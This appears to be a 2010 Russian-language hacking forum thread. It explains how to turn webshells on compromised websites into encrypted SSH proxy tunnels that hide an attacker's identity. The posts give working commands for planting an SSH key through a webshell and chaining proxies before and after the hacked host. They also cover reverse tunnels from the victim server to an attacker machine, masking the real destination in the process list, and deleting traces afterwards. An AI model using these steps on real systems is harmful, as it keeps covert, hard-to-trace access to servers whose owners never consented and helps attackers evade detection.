Вернуться   RDot > RDot.org > Статьи/Articles

Ответ
 
Опции темы Поиск в этой теме Опции просмотра
Старый 21.08.2010, 02:53   #1
tipsy
 
Аватар для tipsy
 
Регистрация: 11.07.2010
Сообщений: 415
Репутация: 311
По умолчанию Как сделать впн из простого вебшелла.

Как сделать впн из вебшелла

--- специально для rdot.org
--- копирование только со ссылкой на источник

Преамбула, или зачем это вообще нужно:

Вопрос обеспечения собственной безопасности всегда актуален.




Сокс (цепочка соксов) скрывает от жертвы IP атакующего, но траффик идёт в открытом виде, и может быть прослушан, потому на смену соксам пришёл ВПН.




ВПН обеспечивает надёжное шифрование, но имеет ряд недостатков (часть которых в теории можно решить правильной реализацией впн-схемы).
Для того, чтобы поднять впн-сервер, нужны права рута, что вкупе с относительно сложной настройкой приводит к ситуации, когда ВПН-сервер меняется редко, оставаясь месяцами и даже годами в одной и той же точке - первая ошибка.

ВПН позволяет управлять маршрутами только на уровне подсетей, тогда как на практике гораздо удобнее маршрутизировать траффик на уровне приложений (направлять Firefox по одному маршруту, Safari по другому, а netbios оставлять в локальной сети). Это ограничение приводит ко второй ошибке - использование впн соединения на основной операционной системе (правильно использовать впн внутри виртуальной машины, работающей с криптоконтейнера), что, в свою очередь, приводит к нарушению одного из важнейших правил анонимности - никогда не смешивать идентифицирующий и компрометирующий траффик в одном тоннеле.

Трафик за ВПН к соксу (цепочке соксов) идёт в открытом виде, и может быть прослушан как владельцами ВПН-сервиса, так и другими заинтересованными лицами, имеющими доступ к каналу. Первая и вторая ошибки в совокупности создают удобную точку слежения - "бутылочное горлышко", которое собирает весь ваш траффик в одном месте, даже когда вы работаете из различных публичных wifi сетей, и приводит к ситуации, когда ВПН скорее вредит безопасности, чем помогает.

Даже если вы (а не третьи лица) контролируете ВПН-сервер, сопоставление входящего и исходящего траффика позволит узнать ваш IP.

Коротко, недостатки:
1) постоянная точка расшифровки
2) управление маршрутами на уровне сетей, а не на уровне приложений
3) сложно проксировать - только double-vpn

Для решения этих проблем удобно применять ssh тоннели.



OpenSSH поддерживает работу в режиме сокс5-сервера из коробки, без какой-либо настройки клиента и сервера, потому достаточно выполнить:
$ ssh me@legalbox1.com -D 8081 -N
$ ssh me@legalbox2.com -D 8082 -N
...
и вы получите серию проксирующих ssh-тоннелей к вашим серверам, как на картинке (Legalbox1, Legalbox2). Останется только прописать работу через socks5 прокси на соответствующих портах в нужных приложениях.

Зачем вообще нужны ssh-тоннели, когда можно недорого купить vpn?
Обыкновенные ssh-тоннели имеют несколько приятных преимуществ перед vpn - они легко проксируются, и позволяют управлять маршрутами на уровне приложений.

Основной плюс описанной в статье методики в том, что в качестве ключевого звена в нашей прокси-цепи - точки расшифровки - мы будем использовать обыкновенную "отработку", которая имеется в больших количествах и не представляет особой ценности - веб-шеллы на треш-сайтах, которые не удалось проапгрейдить до рута.
Таким образом, точка расшифровки, функции которой ранее выполнял постоянный впн-сервер, в нашем случае становится такой же динамичной и легкозаменяемой, как и обычные сокс-прокси.

На тему ssh тоннелей написано много, потому в детали углубляться не буду, перейду сразу к сути.
Считается, что для организации ssh-тоннеля нужно иметь полноценный shell.
Это не так.

Как сделать впн из вебшелла


Mr. Goodkat: A Kansas City Shuffle is when everybody
looks right, you go left. (c) Lucky Number Slevin

Небольшое отступление:
OpenSSH умеет организовывать настоящий vpn через tun интерфейс. (ssh -w)
На эту тему можно почитать в гугле. Для решения практических задач нам это не интересно, так как
1) требует рута как минимум для настройки устройства tun
2) отключено по-умолчанию
3) заметно
4) ненужно, разве что для каких-то очень специфических задач.
Здесь и далее, говоря, что мы делаем впн, я подразумеваю, что мы получаем шифрованный проксирующий тоннель - именно то, что требуется от "настоящего" впн под наши задачи.
Способ первый - прямое подключение
(прямое - как противоположность обратному. Прокси до и после вебшелла можно и нужно использовать)

Итак, у нас есть обыкновенный вебшелл.
Путь в консоль нам преграждают две проблемы:
  • у нашего пользователя (nobody) не задан пароль. В etc/shadow указано что-то типа nobody:*:14069:0:99999:7:::
    или nobody:!!:14069:0:99999:7:::. Для смены пароля нужно указать старый пароль, в итоге пароль сменить невозможно.
  • у нашего пользователя указан шелл /sbin/nologin или его аналог, а все современные юниксы требуют ввести пароль для смены шелла.

Первую проблему мы обходим с помощью авторизации по публичному ключу, вторая и не проблема вовсе, потому что для тоннеля шелл не нужен.

Зависимости:
  • /etc/ssh/sshd_config с настройками по-умолчанию, а именно:
    • не задан параметр AllowUsers в /etc/ssh/sshd_conf (по-умолчанию в конфиге не присутствует)
    • AllowTcpForwarding yes или закомментирован (по умолчанию закомментирован)
    • RSAAuthentication yes или закомментирован (по умолчанию закомментирован)
    • PubkeyAuthentication yes или закомментирован (по умолчанию закомментирован)
    • AuthorizedKeysFile в пределах домашней папки (по умолчанию закомментирован и равен .ssh/authorized_keys)
  • доступ на запись к домашнему каталогу
    на некоторых хостах домашний каталог read-only, а писать можно только в public_html. Такие хосты не подходят.

$ локальные команды
$ команды на удалённом хосте

Создаём у себя пару секретный/публичный ключи:
$ ssh-keygen -t rsa

Берём файл id_rsa.pub и заливаем его в ~/.ssh/, переименовав в authorized_keys
Проставляем правильные права
$ chmod 755 ~/.ssh
$ chmod go-rwXx ~/.ssh/authorized_keys

Коннектимся, и получаем сокс5 у себя на порту 31337
$ ssh nobody@webshell.com -D 31337 -N

...либо используем дополнительный Socks5 после вебшелла - "External Socks5" на картинке
$ ssh nobody@webshell.com -L 31337:externalsocks.com:1080 -N

...либо используем соксы и до, и после вебшелла:
$ ssh nobody@webshell.com -L 31337:externalsocks.com:1080 -N -o ProxyCommand="connect -S internalsocks.net:1080 %h %p"
линк на connect.c.

...прокси до и после вебшелла, альтернативный вариант, с поддержкой цепочек:
$ proxychains ssh nobody@webshell.com -L 31337:externalsocks.com:1080 -N
линк на proxychains, прокси задаются в конфиге

Можно использовать пару ключей с внешнего носителя - для этого указываем путь к секретному ключу в параметре
-i /mnt/secure_fs/id_rsa

После того, как тоннель поднялся, можно удалить папку .ssh, если не планируется использовать тоннель на постоянной основе. Так вы оставите минимум следов.

В процессах будет
Код:
root     13768  0.0  2.1  10052  2804 ?        Ss   16:32   0:00 sshd: nobody [priv]
nobody   13774  0.0  1.0  10052  1408 ?        S    16:32   0:00 sshd: nobody
who и last ваше подключение не отображают.


Достоинства:
  • минимум настройки - залил ключ, поднял тоннель, попользовал, выкинул.
  • скромное присутствие в процессах
  • для смены внешних и внутренних соксов не нужен доступ к вебшеллу - тоннель рестартуется локально.
  • нет открытых портов
  • в случае использования прокси до вебшелла шелл не знает, кто вы
  • можно организовать тоннель даже при Safe_mode=ON
Недостатки:
  • в /var/log/secure остаётся запись о том, что пользователь nobody логинился с такого-то адреса.
  • иногда доступа на запись в домашний каталог нет

Последний раз редактировалось tipsy; 26.08.2010 в 13:57..
tipsy вне форума   Ответить с цитированием
Старый 21.08.2010, 02:54   #2
tipsy
 
Аватар для tipsy
 
Регистрация: 11.07.2010
Сообщений: 415
Репутация: 311
По умолчанию

Способ второй - обратное подключение
Статус данной статьи:
Часть первая - "Как сделать vpn из вебшелла: прямое подключение" - обкатанная в поле технология.
Вторая часть этой статьи является исследованием, а не законченным материалом.
Метод находится в стадии доработки до чего-то юзабельного. Некоторые аспекты не тестировались.
Если вас интересует эта тематика - подключайтесь к обсуждению и разработке, попробуем получить красивое решение.



Преимущества обратного соединения перед прямым:
  • в логах не остаётся следов.
  • нет зависимостей - работает везде, где можно выполнить back-connect.
  • нет открытых портов и входящих соединений
  • исходящее соединение на произвольный порт, хоть на 80

Недостатки обратного подключения:
  • для смены внутреннего или внешнего соксов требуется рестартовать тоннель на вебшелле
  • нет автовозобновляемости - если тоннель упал, надо идти на вебшелл и подымать его
  • при использовании прокси, прямого подключения к вашему серверу не будет, но проксирующий процесс будет знать его реальный ip, и теоретически его можно сдампить.

ssh с ключём -R делает отбратный тоннель - то есть теперь вебшелл логинится к вам, открывает у вас на машине заданный порт, и тоннелит его к себе, а на своей стороне пробрасывает соединение на указанный хост.
В этом режиме не поддерживается работа со встроенным в openssh сокс5 прокси-сервером, потому использование external proxy обязательно (либо подымаем stand-alone прокси на вебшелле, слушающий на 127.0.0.1)

Рассмотрим обратное подключение на примере следующей схемы.



nullbox - легальная машина, которая не пишет логи.
Туда можно поставить TOR сервер, чтобы было движение "левого" траффика.

Создаём у себя аккаунт, под которым будет логиниться вебшелл, например, sftp.
$ adduser sftp

Кладём ему в ~/.ssh/authorized_keys публичный ключ, секретный ключ заливаем на вебшелл.

Подымаем тоннель на вебшелле
$ ssh sftp@nullbox -N -R 8081:externalproxy.com:1080 -i rsa_secret_key

либо пропускаем тоннель через прокси sockshost.com между шеллом и nullbox:
$ ssh sftp@nullbox -N -R 8081:externalproxy.com:1080 -i rsa_secret_key -o ProxyCommand="connect -S sockshost.com:1080 %h %p"


Как оставить меньше следов?
При обратном подключении в процессах светятся довольно неприятные строки.Все параметры можно упаковать в .ssh/config, но хост, к которому мы подключаемся, должен быть обязательно указан в командной строке.

Хитрый путь:

в .ssh/config пишем
Код:
Host goodhost.com
Hostname evilhost.com
Username sftp
Port 31337
В процессах будет висеть:
ssh goodhost.com
но на самом деле будет выполнено подключение к evilhost.com:31337

Как быть с connect.c, ведь ему нужно указывать прокси в командной строке?
Хитрый путь:
вставить в строку запуска тоннеля инициализацию переменной окружения: SOCKS5_SERVER="server.com:1080"
и вызывать connect.c с параметром -s
Не решает проблему, так как кроме сокс-сервера connect.c принимает в командной строке ip сервера, куда нужно "проксировать", в нашем случае nullbox.

Правильный путь:
модифицировать исходник connect.c таким образом, чтобы все переменные задавались при компиляции, добавить маскировку в списке процессов.

На текущий момент обратное подключение кажется мне слишком громоздким и неудобным для реального использования, особенного на фоне прямого.
Хотя, если добавить 1-click запуск из веб-шелла, всё не так страшно.

Нерешённые вопросы:
-нужно ли менять у себя ssh_host_key при прямом подключении, чтобы избавиться от следов?
-не передаёт ли ssh при хэндшейке чего-нибудь лишнего?
tipsy вне форума   Ответить с цитированием
Старый 22.08.2010, 03:11   #3
lukmus
 
Аватар для lukmus
 
Регистрация: 11.08.2010
Сообщений: 133
Репутация: 20
По умолчанию

к недостаткам первого способа можно еще отнести, тот факт что хрен где найдешь такой веб-сервер, который бы не запускался в песочнице
__________________
Контактный XMPP: lukmus[собака]wallstreetjabber.biz
lukmus вне форума   Ответить с цитированием
Старый 22.08.2010, 15:29   #4
tipsy
 
Аватар для tipsy
 
Регистрация: 11.07.2010
Сообщений: 415
Репутация: 311
По умолчанию

В песочнице? Это как?

Мне чаще всего попадаются хостинги, где апач крутится под именем пользователя, с целью ограничить доступ к папкам других клиентов. Реже - дедик или виртуалка, принадлежащие одному проекту, права расставлены как бог на душу положит.

В случае с хостингами бывает два варианта:
/www/username/public_html
домашняя папка открыта для записи

/www/username/public_html
домашняя папка принадлежит другому пользователю и рид-онли, писать можно только в public_html

Кстати, к достоинствам первого способа можно отнести и то, что всё будет работать при включенном safe mode - команды исполнять не нужно, только создать папку и залить файл, ну и права проставить. Это можно сделать средствами пхп.

Кстати, иногда бывает так, что safe mode=on, но шеллом для пользователя apache прописан /bin/sh
В таком случае фокус с авторизацией может стать единственным способом получить исполнение команд.
tipsy вне форума   Ответить с цитированием
Старый 24.08.2010, 21:31   #5
nikp
Banned
 
Регистрация: 05.07.2010
Сообщений: 201
Репутация: 183
По умолчанию

Небольшое дополнение, иногда нужен portable ssh client (например, компьютер не твой), в этом случае можно использовать putty. Единственная разница, putty не воспринимает закрытый ключ, полученный по ssh-keygen, утилита puttygen.exe сконвертирует его (File => Load private key; Save private key).

Далее используем plink.exe

Код:
plink.exe -v -C -2 -N -a -D 7070 user@ssh-host -i id_rsa.ppk
на локальном порту 7070 туннель до сокса на ip=ssh-host

Код:
plink.exe -v -C -2 -N -a -L localhost:7070:socks-host:port user@ssh-host -i id_rsa.ppk
на локальном порту 7070 туннель до сокса на ip=socks-host

Код:
plink.exe -v -C -2 -N -a -L localhost:7070:socks-host:port user@ssh-host -i id_rsa.ppk -D 5050
на локальном порту 5050 туннель до сокса на ip=ssh-host
на локальном порту 7070 туннель до сокса на ip=socks-host

Последний раз редактировалось nikp; 25.08.2010 в 07:59..
nikp вне форума   Ответить с цитированием
Старый 26.08.2010, 11:53   #6
slashd
 
Регистрация: 06.07.2010
Сообщений: 47
Репутация: 27
По умолчанию

2tipsy
Отличная статья.
Первый способ обязательно возьму на вооружение, только настораживает то, что IP будет палиться в логах. Почему бы не провенуть трюк с nullbox (можно даже несколько), для сокрытия реального IP ?
slashd вне форума   Ответить с цитированием
Старый 26.08.2010, 12:55   #7
tipsy
 
Аватар для tipsy
 
Регистрация: 11.07.2010
Сообщений: 415
Репутация: 311
По умолчанию

В логах будет IP сокса internalsocks, реальный ip ни в каком виде на шелл не попадает.
tipsy вне форума   Ответить с цитированием
Старый 27.08.2010, 14:38   #8
slashd
 
Регистрация: 06.07.2010
Сообщений: 47
Репутация: 27
По умолчанию

ИМХО надеть носки предоставляемые OpenSSH конечно хорошо, но у OpenVPN есть большое приемущество - работа на канальном уровне. Например, если человек юзает прокси/носки, то его реальный адрес можно вычислить с помощью Java или других средств. Если всё же хочется анонимности, наверное, стоит комбинировать использование соксов и VPN, на какие-то адреса отключить хождение через VPN и задействовать сокс, на другие наоборот...
slashd вне форума   Ответить с цитированием
Старый 27.08.2010, 15:26   #9
tipsy
 
Аватар для tipsy
 
Регистрация: 11.07.2010
Сообщений: 415
Репутация: 311
По умолчанию

Я вопрос возможных утечек решил отключеним плагинов и файрволом - приложения, которым важно ходить через сокс, могут подключаться только на локалхост. Но комбинировать - отличная идея. Vpn в качестве catch-all-rule надёжнее.
tipsy вне форума   Ответить с цитированием
Старый 31.08.2010, 03:13   #10
Luna-Tic
 
Регистрация: 19.08.2010
Сообщений: 31
Репутация: 3
По умолчанию

Статья очень полезная, даже более не с позиции собственного впн а с позиции если нужно попасть в локальную сеть.
Luna-Tic вне форума   Ответить с цитированием
Ответ

Метки
анонимность, прокси, ssh, vpn

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot